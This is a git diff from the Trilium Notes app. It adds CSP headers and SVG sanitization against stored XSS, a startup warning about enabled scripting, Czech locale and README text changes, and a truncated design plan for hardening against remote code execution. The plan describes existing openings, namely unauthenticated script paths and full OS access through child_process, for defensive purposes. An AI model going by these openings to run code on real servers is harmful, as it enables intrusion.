config.Scripting.enabled = originalEnabled;
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
@@ -145,6 +145,13 @@ function register(router: Router) {
|
||||
addNoIndexHeader(note, res);
|
||||
|
||||
if (note.isLabelTruthy("shareRaw") || typeof req.query.raw !== "undefined") {
|
||||
// For HTML and SVG content, add restrictive Content-Security-Policy
|
||||
// to prevent stored XSS via script execution (CWE-79).
|
||||
if (note.mime === "text/html" || note.mime === "image/svg+xml") {
|
||||
res.setHeader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src * data:; font-src * data:");
|
||||
res.setHeader("X-Content-Type-Options", "nosniff");
|
||||
}
|
||||
|
||||
res.setHeader("Content-Type", note.mime).send(note.getContent());
|
||||
|
||||
return;
|
||||
@@ -224,10 +231,17 @@ function register(router: Router) {
|
||||
}
|
||||
|
||||
if (image.type === "image") {
|
||||
// normal image
|
||||
res.set("Content-Type", image.mime);
|
||||
addNoIndexHeader(image, res);
|
||||
res.send(image.getContent());
|
||||
if (image.mime === "image/svg+xml") {
|
||||
// SVG images require sanitization to prevent stored XSS
|
||||
const content = image.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", image.mime);
|
||||
res.send(image.getContent());
|
||||
}
|
||||
} else if (image.type === "canvas") {
|
||||
renderImageAttachment(image, res, "canvas-export.svg");
|
||||
} else if (image.type === "mermaid") {
|
||||
@@ -250,9 +264,17 @@ function register(router: Router) {
|
||||
}
|
||||
|
||||
if (attachment.role === "image") {
|
||||
res.set("Content-Type", attachment.mime);
|
||||
addNoIndexHeader(attachment.note, res);
|
||||
res.send(attachment.getContent());
|
||||
if (attachment.mime === "image/svg+xml") {
|
||||
// SVG attachments require sanitization to prevent stored XSS
|
||||
const content = attachment.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", attachment.mime);
|
||||
res.send(attachment.getContent());
|
||||
}
|
||||
} else {
|
||||
res.status(400).json({ message: "Requested attachment is not a shareable image" });
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ import host from "./services/host.js";
|
||||
import buildApp from "./app.js";
|
||||
import type { Express } from "express";
|
||||
import { getDbSize } from "./services/sql_init.js";
|
||||
import { isScriptingEnabled } from "./services/scripting_guard.js";
|
||||
|
||||
const MINIMUM_NODE_VERSION = "20.0.0";
|
||||
|
||||
@@ -81,6 +82,14 @@ async function displayStartupMessage() {
|
||||
log.info(`💻 CPU: ${cpuModel} (${cpuInfos.length}-core @ ${cpuInfos[0].speed} Mhz)`);
|
||||
}
|
||||
log.info(`💾 DB size: ${formatSize(getDbSize() * 1024)}`);
|
||||
|
||||
if (isScriptingEnabled()) {
|
||||
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
|
||||
"filesystem, network, and OS commands. Only enable in trusted environments.");
|
||||
} else {
|
||||
log.info("Script execution is DISABLED. Set [Scripting] enabled=true in config.ini to enable.");
|
||||
}
|
||||
|
||||
log.info("");
|
||||
}
|
||||
|
||||
|
||||
@@ -112,8 +112,7 @@
|
||||
"header": {
|
||||
"get-started": "Začít",
|
||||
"documentation": "Dokumentace",
|
||||
"support-us": "Podpořte nás",
|
||||
"resources": "Zdroje"
|
||||
"support-us": "Podpořte nás"
|
||||
},
|
||||
"footer": {
|
||||
"copyright_and_the": " a ",
|
||||
@@ -135,74 +134,6 @@
|
||||
"buy_me_a_coffee": "Buy Me A Coffee"
|
||||
},
|
||||
"contribute": {
|
||||
"title": "Další způsoby, jak přispět",
|
||||
"way_translate": "Přeložte aplikaci do svého rodného jazyka prostřednictvím <Link>Weblate</Link>.",
|
||||
"way_community": "Kontaktujte komunitu na <Discussions>GitHub Discussions</Discussions> nebo na <Matrix>Matrix</Matrix>.",
|
||||
"way_reports": "Nahlaste chyby prostřednictvím <Link>GitHub issues</Link>.",
|
||||
"way_document": "Vylepšujte dokumentaci tím, že nás upozorníte na její nedostatky, nebo přispějte do příruček, FAQ či návodů.",
|
||||
"way_market": "Šířte dobrou věst: Sdílejte Trilium Notes s přáteli, na blogy nebo na sociální sítě."
|
||||
},
|
||||
"404": {
|
||||
"title": "404: Nenalezeno",
|
||||
"description": "Stránka, kterou jste hleděli, nebyla nalezena. Možná byla smazána nebo je URL adresa nesprávná."
|
||||
},
|
||||
"download_helper_desktop_windows": {
|
||||
"title_x64": "Windows 64-bit",
|
||||
"title_arm64": "Windows na ARM",
|
||||
"description_x64": "Kompatibilní s zařízeními Intel nebo AMD s operačním systémem Windows 10 a 11.",
|
||||
"description_arm64": "Kompatibilní s ARM zařízeními (např. s Qualcomm Snapdragon).",
|
||||
"quick_start": "Pro instalaci pomocí Winget:",
|
||||
"download_exe": "Stáhnout instalátor (.exe)",
|
||||
"download_zip": "Přenosná verze (.zip)",
|
||||
"download_scoop": "Scoop"
|
||||
},
|
||||
"download_helper_desktop_linux": {
|
||||
"title_x64": "Linux 64-bit",
|
||||
"title_arm64": "Linux na ARM",
|
||||
"description_x64": "Pro většinu distribucí Linuxu, kompatibilní s architekturou x86_64.",
|
||||
"description_arm64": "Pro distribuce Linuxu založené na ARM, kompatibilní s architekturou aarch64.",
|
||||
"quick_start": "Vyberte vhodný formát balíčku podle vaší distribuce:",
|
||||
"download_deb": ".deb",
|
||||
"download_rpm": ".rpm",
|
||||
"download_flatpak": ".flatpak",
|
||||
"download_zip": "Přenosné (.zip)",
|
||||
"download_nixpkgs": "nixpkgs",
|
||||
"download_aur": "AUR"
|
||||
},
|
||||
"download_helper_desktop_macos": {
|
||||
"title_x64": "macOS pro Intel",
|
||||
"title_arm64": "macOS pro Apple Silicon",
|
||||
"description_x64": "Pro Mac s procesorem Intel běžící pod macOS Monterey nebo novějším.",
|
||||
"description_arm64": "Pro Mac s Apple Silicon, jako jsou modely s čipy M1 a M2.",
|
||||
"quick_start": "Pro instalaci pomocí Homebrew:",
|
||||
"download_dmg": "Stáhnout instalátor (.dmg)",
|
||||
"download_homebrew_cask": "Homebrew Cask",
|
||||
"download_zip": "Přenosná verze (.zip)"
|
||||
},
|
||||
"download_helper_server_docker": {
|
||||
"title": "Vlastní hosting pomocí Docker",
|
||||
"description": "Snadné nasazení na Windows, Linux nebo macOS pomocí Docker kontejneru.",
|
||||
"download_dockerhub": "Docker Hub",
|
||||
"download_ghcr": "ghcr.io"
|
||||
},
|
||||
"download_helper_server_linux": {
|
||||
"title": "Vlastní hosting na Linuxu",
|
||||
"description": "Nasazujte Trilium Notes na vlastním serveru nebo VPS, kompatibilní s většinou distribucí.",
|
||||
"download_tar_x64": "x64 (.tar.xz)",
|
||||
"download_tar_arm64": "ARM (.tar.xz)",
|
||||
"download_nixos": "Modul pro NixOS"
|
||||
},
|
||||
"download_helper_server_hosted": {
|
||||
"title": "Placený hosting",
|
||||
"description": "Trilium Notes hostováno na PikaPods, placené službě pro snadný přístup a správu. Není přímo spojen s týmem Trilium.",
|
||||
"download_pikapod": "Nastaveno na PikaPods",
|
||||
"download_triliumcc": "Případně se podívejte na trilium.cc"
|
||||
},
|
||||
"resources": {
|
||||
"title": "Zdroje",
|
||||
"icon_packs": "Balíčky ikon",
|
||||
"icon_packs_intro": "Rozšiřte výběr dostupných ikon pro své poznámky použitím balíčku ikon. Více informací o balíčcích ikon naleznete v <DocumentationLink>oficiální dokumentaci</DocumentationLink>.",
|
||||
"download": "Stáhnout",
|
||||
"website": "Webová stránka"
|
||||
"title": "Další způsoby, jak přispět"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,5 +7,6 @@ To do so:
|
||||
2. In `packages/commons` look for `dayjs.ts` and add a mapping for the new language in `DAYJS_LOADER`. Sort the entire list.
|
||||
3. In `apps/client`, look for `collections/calendar/index.tsx` and modify `LOCALE_MAPPINGS` to add support to the new language.
|
||||
4. In `apps/client`, look for `widgets/type_widgets/canvas/i18n.ts` and modify `LANGUAGE_MAPPINGS`. A unit test ensures that the language is actually loadable.
|
||||
5. In `packages/ckeditor5`, look for `i18n.ts` and modify `LOCALE_MAPPINGS`. The import validation should already check if the new value is supported by CKEditor, and there's also a test to ensure it.
|
||||
6. Locale mappings for PDF.js might need adjustment. To do so, in `packages/pdfjs-viewer/scripts/build.ts` there is `LOCALE_MAPPINGS`.
|
||||
5. In `apps/client`, look for `widgets/type_widgets/MindMap.tsx` and modify `LOCALE_MAPPINGS`. The type definitions should already validate if the new value is supported by Mind Elixir.
|
||||
6. In `packages/ckeditor5`, look for `i18n.ts` and modify `LOCALE_MAPPINGS`. The import validation should already check if the new value is supported by CKEditor, and there's also a test to ensure it.
|
||||
7. Locale mappings for PDF.js might need adjustment. To do so, in `packages/pdfjs-viewer/scripts/build.ts` there is `LOCALE_MAPPINGS`.
|
||||
272
docs/README-cs.md
vendored
272
docs/README-cs.md
vendored
@@ -124,127 +124,123 @@ Naše dokumenatce je dostupná ve vícero formátech:
|
||||
motiv](https://docs.triliumnotes.org/user-guide/concepts/themes), podpora
|
||||
uživatelských motivů
|
||||
* [Evernote](https://docs.triliumnotes.org/user-guide/concepts/import-export/evernote)
|
||||
a [import & export
|
||||
Markdown](https://docs.triliumnotes.org/user-guide/concepts/import-export/markdown)
|
||||
* [Webový výstřižek](https://docs.triliumnotes.org/user-guide/setup/web-clipper)
|
||||
pro snadné ukládání webového obsahu
|
||||
* Přizpůsobitelné UI (tlačítka bočního panelu, uživatelsky definované widgety,
|
||||
...)
|
||||
* [Metriky](https://docs.triliumnotes.org/user-guide/advanced-usage/metrics)
|
||||
spolu s Grafana Dashboard.
|
||||
and [Markdown import &
|
||||
export](https://docs.triliumnotes.org/user-guide/concepts/import-export/markdown)
|
||||
* [Web Clipper](https://docs.triliumnotes.org/user-guide/setup/web-clipper) for
|
||||
easy saving of web content
|
||||
* Customizable UI (sidebar buttons, user-defined widgets, ...)
|
||||
* [Metrics](https://docs.triliumnotes.org/user-guide/advanced-usage/metrics),
|
||||
along with a Grafana Dashboard.
|
||||
|
||||
✨ Podívejte se na následující externí zdroje/komunity pro další vychytávky
|
||||
související s TriliumNext:
|
||||
✨ Check out the following third-party resources/communities for more TriliumNext
|
||||
related goodies:
|
||||
|
||||
- [awesome-trilium](https://github.com/Nriver/awesome-trilium) pro externí
|
||||
motivy, skripty, pluginy a další.
|
||||
- [TriliumRocks!](https://trilium.rocks/) pro návody, průvodce a mnohem více.
|
||||
- [awesome-trilium](https://github.com/Nriver/awesome-trilium) for 3rd party
|
||||
themes, scripts, plugins and more.
|
||||
- [TriliumRocks!](https://trilium.rocks/) for tutorials, guides, and much more.
|
||||
|
||||
## ❓Proč TriliumNext?
|
||||
## ❓Why TriliumNext?
|
||||
|
||||
Původní vývojář Trilium ([Zadam](https://github.com/zadam)) štědře předal
|
||||
repozitář Trilium komunitnímu projektu, který sídlí na
|
||||
https://github.com/TriliumNext
|
||||
The original Trilium developer ([Zadam](https://github.com/zadam)) has
|
||||
graciously given the Trilium repository to the community project which resides
|
||||
at https://github.com/TriliumNext
|
||||
|
||||
### ⬆️Migrujete ze Zadam/Trilium?
|
||||
### ⬆️Migrating from Zadam/Trilium?
|
||||
|
||||
Neexistují žádné speciální kroky pro migraci z instance zadam/Trilium na
|
||||
instanci TriliumNext/Trilium. Jednoduše si [ nainstalujte
|
||||
TriliumNext/Trilium](#-installation) jako obvykle a použije vaši stávající
|
||||
databázi.
|
||||
There are no special migration steps to migrate from a zadam/Trilium instance to
|
||||
a TriliumNext/Trilium instance. Simply [install
|
||||
TriliumNext/Trilium](#-installation) as usual and it will use your existing
|
||||
database.
|
||||
|
||||
Verze až do
|
||||
[v0.90.4](https://github.com/TriliumNext/Trilium/releases/tag/v0.90.4) včetně
|
||||
jsou kompatibilní s nejnovější verzí zadam/trilium
|
||||
[v0.63.7](https://github.com/zadam/trilium/releases/tag/v0.63.7). Jakékoli
|
||||
pozdější verze TriliumNext/Trilium mají zvýšené verze synchronizace, což brání
|
||||
přímé migraci.
|
||||
Versions up to and including
|
||||
[v0.90.4](https://github.com/TriliumNext/Trilium/releases/tag/v0.90.4) are
|
||||
compatible with the latest zadam/trilium version of
|
||||
[v0.63.7](https://github.com/zadam/trilium/releases/tag/v0.63.7). Any later
|
||||
versions of TriliumNext/Trilium have their sync versions incremented which
|
||||
prevents direct migration.
|
||||
|
||||
## 💬 Diskutujte s námi
|
||||
## 💬 Discuss with us
|
||||
|
||||
Nebojte se připojit k našim oficiálním konverzationím. Rádi uslyšíme vaše nápady
|
||||
na funkce, návrhy nebo problémy!
|
||||
Feel free to join our official conversations. We would love to hear what
|
||||
features, suggestions, or issues you may have!
|
||||
|
||||
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (Pro synchronní
|
||||
diskuse.)
|
||||
- Pokoj Matrix `General` je také propojen s
|
||||
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (For synchronous
|
||||
discussions.)
|
||||
- The `General` Matrix room is also bridged to
|
||||
[XMPP](xmpp:discuss@trilium.thisgreat.party?join)
|
||||
- [Github Discussions](https://github.com/TriliumNext/Trilium/discussions) (Pro
|
||||
asynchronní diskuse.)
|
||||
- [Github Issues](https://github.com/TriliumNext/Trilium/issues) (Pro hlášení
|
||||
chyb a požadavky na funkce.)
|
||||
- [Github Discussions](https://github.com/TriliumNext/Trilium/discussions) (For
|
||||
asynchronous discussions.)
|
||||
- [Github Issues](https://github.com/TriliumNext/Trilium/issues) (For bug
|
||||
reports and feature requests.)
|
||||
|
||||
## 🏗 Instalace
|
||||
## 🏗 Installation
|
||||
|
||||
### Windows / MacOS
|
||||
|
||||
Stáhněte si binární verzi pro svou platformu z [stránky s nejnovější
|
||||
verzí](https://github.com/TriliumNext/Trilium/releases/latest), rozbalte balíček
|
||||
a spusťte spustitelný soubor `trilium`.
|
||||
Download the binary release for your platform from the [latest release
|
||||
page](https://github.com/TriliumNext/Trilium/releases/latest), unzip the package
|
||||
and run the `trilium` executable.
|
||||
|
||||
### Linux
|
||||
|
||||
Pokud je vaše distribuce uvedena v níže uvedené tabulce, použijte balíček pro
|
||||
vaši distribuci.
|
||||
If your distribution is listed in the table below, use your distribution's
|
||||
package.
|
||||
|
||||
[](https://repology.org/project/triliumnext/versions)
|
||||
[](https://repology.org/project/triliumnext/versions)
|
||||
|
||||
Můžete si také stáhnout binární verzi pro svou platformu ze [stránky s
|
||||
nejnovější verzí](https://github.com/TriliumNext/Trilium/releases/latest),
|
||||
rozbalit balíček a spustit spustitelný soubor `trilium`.
|
||||
You may also download the binary release for your platform from the [latest
|
||||
release page](https://github.com/TriliumNext/Trilium/releases/latest), unzip the
|
||||
package and run the `trilium` executable.
|
||||
|
||||
TriliumNext je k dispozici také jako Flatpak, ale ještě není zveřejněn na
|
||||
FlatHub.
|
||||
TriliumNext is also provided as a Flatpak, but not yet published on FlatHub.
|
||||
|
||||
### Prohlížeč (jakýkoli OS)
|
||||
### Browser (any OS)
|
||||
|
||||
Pokud používáte serverovou instalaci (viz níže), můžete přistupovat přímo k
|
||||
webovému rozhraní (které je téměř identické s desktopovou aplikací).
|
||||
If you use a server installation (see below), you can directly access the web
|
||||
interface (which is almost identical to the desktop app).
|
||||
|
||||
Momentálně jsou podporovány (a testovány) pouze nejnovější verze Chrome &
|
||||
Firefox.
|
||||
Currently only the latest versions of Chrome & Firefox are supported (and
|
||||
tested).
|
||||
|
||||
### Mobilní zařízení
|
||||
### Mobile
|
||||
|
||||
Chcete-li používat TriliumNext na mobilním zařízení, můžete použít mobilní
|
||||
webový prohlížeč k přístupu k mobilnímu rozhraní instalace serveru (viz níže).
|
||||
To use TriliumNext on a mobile device, you can use a mobile web browser to
|
||||
access the mobile interface of a server installation (see below).
|
||||
|
||||
Více informací o podpoře mobilní aplikace naleznete v issue
|
||||
https://github.com/TriliumNext/Trilium/issues/4962.
|
||||
See issue https://github.com/TriliumNext/Trilium/issues/4962 for more
|
||||
information on mobile app support.
|
||||
|
||||
Pokud preferujete nativní aplikaci pro Android, můžete použít
|
||||
If you prefer a native Android app, you can use
|
||||
[TriliumDroid](https://apt.izzysoft.de/fdroid/index/apk/eu.fliegendewurst.triliumdroid).
|
||||
Chyby a chybějící funkce hlaste v [jejím
|
||||
repozitáři](https://github.com/FliegendeWurst/TriliumDroid). Poznámka: Při
|
||||
používání TriliumDroid je nejlepší zakázat automatické aktualizace na vaší
|
||||
instalaci serveru (viz níže), protože verze pro synchronizaci musí mezi Trilium
|
||||
a TriliumDroid souhlasit.
|
||||
Report bugs and missing features at [their
|
||||
repository](https://github.com/FliegendeWurst/TriliumDroid). Note: It is best to
|
||||
disable automatic updates on your server installation (see below) when using
|
||||
TriliumDroid since the sync version must match between Trilium and TriliumDroid.
|
||||
|
||||
### Server
|
||||
|
||||
Chcete-li nainstalovat TriliumNext na svůj vlastní server (včetně pomocí Docker
|
||||
z [Dockerhub](https://hub.docker.com/r/triliumnext/trilium)), postupujte podle
|
||||
[dokumentace k instalaci
|
||||
serveru](https://docs.triliumnotes.org/user-guide/setup/server).
|
||||
To install TriliumNext on your own server (including via Docker from
|
||||
[Dockerhub](https://hub.docker.com/r/triliumnext/trilium)) follow [the server
|
||||
installation docs](https://docs.triliumnotes.org/user-guide/setup/server).
|
||||
|
||||
|
||||
## 💻 Přispějte
|
||||
## 💻 Contribute
|
||||
|
||||
### Překlady
|
||||
### Translations
|
||||
|
||||
Pokud jste rodilý mluvčí, pomozte nám s překladem Trilium tím, že navštívíte
|
||||
naši [stránku Weblate](https://hosted.weblate.org/engage/trilium/).
|
||||
If you are a native speaker, help us translate Trilium by heading over to our
|
||||
[Weblate page](https://hosted.weblate.org/engage/trilium/).
|
||||
|
||||
Zde je aktuální pokrytí jazyky:
|
||||
Here's the language coverage we have so far:
|
||||
|
||||
[](https://hosted.weblate.org/engage/trilium/)
|
||||
[](https://hosted.weblate.org/engage/trilium/)
|
||||
|
||||
### Kód
|
||||
### Code
|
||||
|
||||
Stáhněte si repozitář, nainstalujte závislosti pomocí `pnpm` a poté spusťte
|
||||
server (dostupný na http://localhost:8080):
|
||||
Download the repository, install dependencies using `pnpm` and then run the
|
||||
server (available at http://localhost:8080):
|
||||
```shell
|
||||
git clone https://github.com/TriliumNext/Trilium.git
|
||||
cd Trilium
|
||||
@@ -252,10 +248,10 @@ pnpm install
|
||||
pnpm run server:start
|
||||
```
|
||||
|
||||
### Dokumentace
|
||||
### Documentation
|
||||
|
||||
Stáhněte si repozitář, nainstalujte závislosti pomocí `pnpm` a poté spusťte
|
||||
prostředí vyžadované pro úpravu dokumentace:
|
||||
Download the repository, install dependencies using `pnpm` and then run the
|
||||
environment required to edit the documentation:
|
||||
```shell
|
||||
git clone https://github.com/TriliumNext/Trilium.git
|
||||
cd Trilium
|
||||
@@ -263,9 +259,9 @@ pnpm install
|
||||
pnpm edit-docs:edit-docs
|
||||
```
|
||||
|
||||
### Kompilace spustitelného souboru
|
||||
Stáhněte si repozitář, nainstalujte závislosti pomocí `pnpm` a poté sestavte
|
||||
desktopovou aplikaci pro Windows:
|
||||
### Building the Executable
|
||||
Download the repository, install dependencies using `pnpm` and then build the
|
||||
desktop app for Windows:
|
||||
```shell
|
||||
git clone https://github.com/TriliumNext/Trilium.git
|
||||
cd Trilium
|
||||
@@ -273,69 +269,71 @@ pnpm install
|
||||
pnpm run --filter desktop electron-forge:make --arch=x64 --platform=win32
|
||||
```
|
||||
|
||||
Pro více podrobností navštivte [vývojovou
|
||||
dokumentaci](https://github.com/TriliumNext/Trilium/tree/main/docs/Developer%20Guide/Developer%20Guide).
|
||||
For more details, see the [development
|
||||
docs](https://github.com/TriliumNext/Trilium/tree/main/docs/Developer%20Guide/Developer%20Guide).
|
||||
|
||||
### Vývojářská dokumentace
|
||||
### Developer Documentation
|
||||
|
||||
Podrobnosti naleznete v [průvodci
|
||||
dokumentací](https://github.com/TriliumNext/Trilium/blob/main/docs/Developer%20Guide/Developer%20Guide/Environment%20Setup.md).
|
||||
Pokud máte další dotazy, neváhejte nás kontaktovat prostřednictím odkazů
|
||||
uvedených v sekci „Diskuse s námi“ výše.
|
||||
Please view the [documentation
|
||||
guide](https://github.com/TriliumNext/Trilium/blob/main/docs/Developer%20Guide/Developer%20Guide/Environment%20Setup.md)
|
||||
for details. If you have more questions, feel free to reach out via the links
|
||||
described in the "Discuss with us" section above.
|
||||
|
||||
## 👏 Poděkování
|
||||
## 👏 Shoutouts
|
||||
|
||||
* [zadam](https://github.com/zadam) za původní koncept a implementaci aplikace.
|
||||
* [Sarah Hussein](https://github.com/Sarah-Hussein) za návrh ikony aplikace.
|
||||
* [nriver](https://github.com/nriver) za jeho práci na internacionalizaci.
|
||||
* [Thomas Frei](https://github.com/thfrei) za jeho původní práci na Plátně.
|
||||
* [antoniotejada](https://github.com/nriver) za původní widget pro zvýrazňování
|
||||
syntaxe.
|
||||
* [Dosu](https://dosu.dev/) za poskytnutí automatických odpovědí na GitHub
|
||||
issues a diskuse.
|
||||
* [Tabler Icons](https://tabler.io/icons) za ikony v systémové oblasti.
|
||||
* [zadam](https://github.com/zadam) for the original concept and implementation
|
||||
of the application.
|
||||
* [Sarah Hussein](https://github.com/Sarah-Hussein) for designing the
|
||||
application icon.
|
||||
* [nriver](https://github.com/nriver) for his work on internationalization.
|
||||
* [Thomas Frei](https://github.com/thfrei) for his original work on the Canvas.
|
||||
* [antoniotejada](https://github.com/nriver) for the original syntax highlight
|
||||
widget.
|
||||
* [Dosu](https://dosu.dev/) for providing us with the automated responses to
|
||||
GitHub issues and discussions.
|
||||
* [Tabler Icons](https://tabler.io/icons) for the system tray icons.
|
||||
|
||||
Trilium by nebyl možný bez technologií, které za ním stojí:
|
||||
Trilium would not be possible without the technologies behind it:
|
||||
|
||||
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - vizuální editor pro
|
||||
textové poznámky. Jsme vděční za nabídku sady prémiových funkcí.
|
||||
* [CodeMirror](https://github.com/codemirror/CodeMirror) - editor kódu s
|
||||
podporou obrovského množství jazyků.
|
||||
* [Excalidraw](https://github.com/excalidraw/excalidraw) - nekonečná bílá tabule
|
||||
používaná v poznámkách typu Canvas.
|
||||
* [Mind Elixir](https://github.com/SSShooter/mind-elixir-core) - poskytuje
|
||||
funkcionalitu myšlenkových map.
|
||||
* [Leaflet](https://github.com/Leaflet/Leaflet) - pro vykreslování geografických
|
||||
map.
|
||||
* [Tabulator](https://github.com/olifolkerd/tabulator) - pro interaktivní
|
||||
tabulku používanou v kolekcích.
|
||||
* [FancyTree](https://github.com/mar10/fancytree) - bohatá knihovna pro stromové
|
||||
struktury bez skutečné konkurence.
|
||||
* [jsPlumb](https://github.com/jsplumb/jsplumb) - knihovna pro vizuální
|
||||
propojení. Používá se v [mapách
|
||||
vazeb](https://docs.triliumnotes.org/user-guide/note-types/relation-map) a
|
||||
[mapách
|
||||
odkazů](https://docs.triliumnotes.org/user-guide/advanced-usage/note-map#link-map)
|
||||
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - the visual editor behind
|
||||
text notes. We are grateful for being offered a set of the premium features.
|
||||
* [CodeMirror](https://github.com/codemirror/CodeMirror) - code editor with
|
||||
support for huge amount of languages.
|
||||
* [Excalidraw](https://github.com/excalidraw/excalidraw) - the infinite
|
||||
whiteboard used in Canvas notes.
|
||||
* [Mind Elixir](https://github.com/SSShooter/mind-elixir-core) - providing the
|
||||
mind map functionality.
|
||||
* [Leaflet](https://github.com/Leaflet/Leaflet) - for rendering geographical
|
||||
maps.
|
||||
* [Tabulator](https://github.com/olifolkerd/tabulator) - for the interactive
|
||||
table used in collections.
|
||||
* [FancyTree](https://github.com/mar10/fancytree) - feature-rich tree library
|
||||
without real competition.
|
||||
* [jsPlumb](https://github.com/jsplumb/jsplumb) - visual connectivity library.
|
||||
Used in [relation
|
||||
maps](https://docs.triliumnotes.org/user-guide/note-types/relation-map) and
|
||||
[link
|
||||
maps](https://docs.triliumnotes.org/user-guide/advanced-usage/note-map#link-map)
|
||||
|
||||
## 🤝 Podpora
|
||||
## 🤝 Support
|
||||
|
||||
Trilium je vyvíjen a udržován s [úsilím stovek hodin
|
||||
práce](https://github.com/TriliumNext/Trilium/graphs/commit-activity). Vaše
|
||||
podpora pomáhá udržovat projekt jako open-source, vylepšuje funkce a pokrývá
|
||||
náklady, jako je hosting.
|
||||
Trilium is built and maintained with [hundreds of hours of
|
||||
work](https://github.com/TriliumNext/Trilium/graphs/commit-activity). Your
|
||||
support keeps it open-source, improves features, and covers costs such as
|
||||
hosting.
|
||||
|
||||
Zvažte podporu hlavního vývojáře ([eliandoran](https://github.com/eliandoran))
|
||||
aplikace prostřednictvím:
|
||||
Consider supporting the main developer
|
||||
([eliandoran](https://github.com/eliandoran)) of the application via:
|
||||
|
||||
- [GitHub Sponsors](https://github.com/sponsors/eliandoran)
|
||||
- [PayPal](https://paypal.me/eliandoran)
|
||||
- [Buy Me a Coffee](https://buymeacoffee.com/eliandoran)
|
||||
|
||||
## 🔑 Licence
|
||||
## 🔑 License
|
||||
|
||||
Copyright 2017-2025 zadam, Elian Doran a ostatní přispěvatelé
|
||||
Copyright 2017-2025 zadam, Elian Doran, and other contributors
|
||||
|
||||
Tento program je volný software: můžete jej redistribuovat a/nebo upravovat za
|
||||
podmínek GNU Affero General Public License, jak jej vydala Free Software
|
||||
Foundation, buď ve verzi 3 této licence, nebo (volitelně) jakoukoli pozdější
|
||||
verzi.
|
||||
This program is free software: you can redistribute it and/or modify it under
|
||||
the terms of the GNU Affero General Public License as published by the Free
|
||||
Software Foundation, either version 3 of the License, or (at your option) any
|
||||
later version.
|
||||
|
||||
590
docs/plans/2026-02-19-rce-hardening-design.md
vendored
Normal file
590
docs/plans/2026-02-19-rce-hardening-design.md
vendored
Normal file
@@ -0,0 +1,590 @@
|
||||
# RCE Hardening - Defense in Depth Implementation Plan
|
||||
|
||||
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
|
||||
|
||||
**Goal:** Prevent instant RCE from authenticated access by gating scripting behind a config flag, restricting `require()` to safe modules, adding auth to unauthenticated execution paths, and filtering dangerous attributes from sync.
|
||||
|
||||
**Architecture:** Add a `[Scripting]` section to config.ini with `enabled=false` default for server mode. Gate all script execution entry points behind this flag. Restrict `ScriptContext.require()` to a whitelist. Add auth middleware to `/custom/*`. Filter dangerous attributes during sync (same pattern as import's `safeImport`).
|
||||
|
||||
**Tech Stack:** TypeScript, Express middleware, Node.js `config.ini` system
|
||||
|
||||
---
|
||||
|
||||
## Task 1: Add `[Scripting]` config section
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/config.ts` (add Scripting section to TriliumConfig, configMapping, and config object)
|
||||
- Modify: `apps/server/src/assets/config-sample.ini` (add [Scripting] section)
|
||||
|
||||
**Step 1: Add Scripting section to TriliumConfig interface**
|
||||
|
||||
In `config.ts`, add to the `TriliumConfig` interface after `Logging`:
|
||||
|
||||
```typescript
|
||||
/** Scripting and code execution configuration */
|
||||
Scripting: {
|
||||
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
|
||||
enabled: boolean;
|
||||
/** Whether the SQL console is accessible (default: false) */
|
||||
sqlConsoleEnabled: boolean;
|
||||
};
|
||||
```
|
||||
|
||||
**Step 2: Add configMapping entries**
|
||||
|
||||
Add after `Logging` in `configMapping`:
|
||||
|
||||
```typescript
|
||||
Scripting: {
|
||||
enabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
|
||||
iniGetter: () => getIniSection("Scripting")?.enabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
},
|
||||
sqlConsoleEnabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
|
||||
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
|
||||
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Add to config object**
|
||||
|
||||
```typescript
|
||||
Scripting: {
|
||||
enabled: getConfigValue(configMapping.Scripting.enabled),
|
||||
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
|
||||
}
|
||||
```
|
||||
|
||||
**Step 4: Update config-sample.ini**
|
||||
|
||||
Add at the bottom:
|
||||
|
||||
```ini
|
||||
[Scripting]
|
||||
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
|
||||
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
|
||||
# all users with admin-level access to the server.
|
||||
# Desktop builds override this to true automatically.
|
||||
enabled=false
|
||||
|
||||
# Enable the SQL console (allows raw SQL execution against the database)
|
||||
sqlConsoleEnabled=false
|
||||
```
|
||||
|
||||
**Step 5: Commit**
|
||||
|
||||
```
|
||||
feat(security): add [Scripting] config section with enabled=false default
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 2: Create scripting guard utility
|
||||
|
||||
**Files:**
|
||||
- Create: `apps/server/src/services/scripting_guard.ts`
|
||||
- Create: `apps/server/src/services/scripting_guard.spec.ts`
|
||||
|
||||
**Step 1: Write tests**
|
||||
|
||||
```typescript
|
||||
// scripting_guard.spec.ts
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
||||
|
||||
describe("ScriptingGuard", () => {
|
||||
it("should throw when scripting is disabled", async () => {
|
||||
vi.doMock("./config.js", () => ({
|
||||
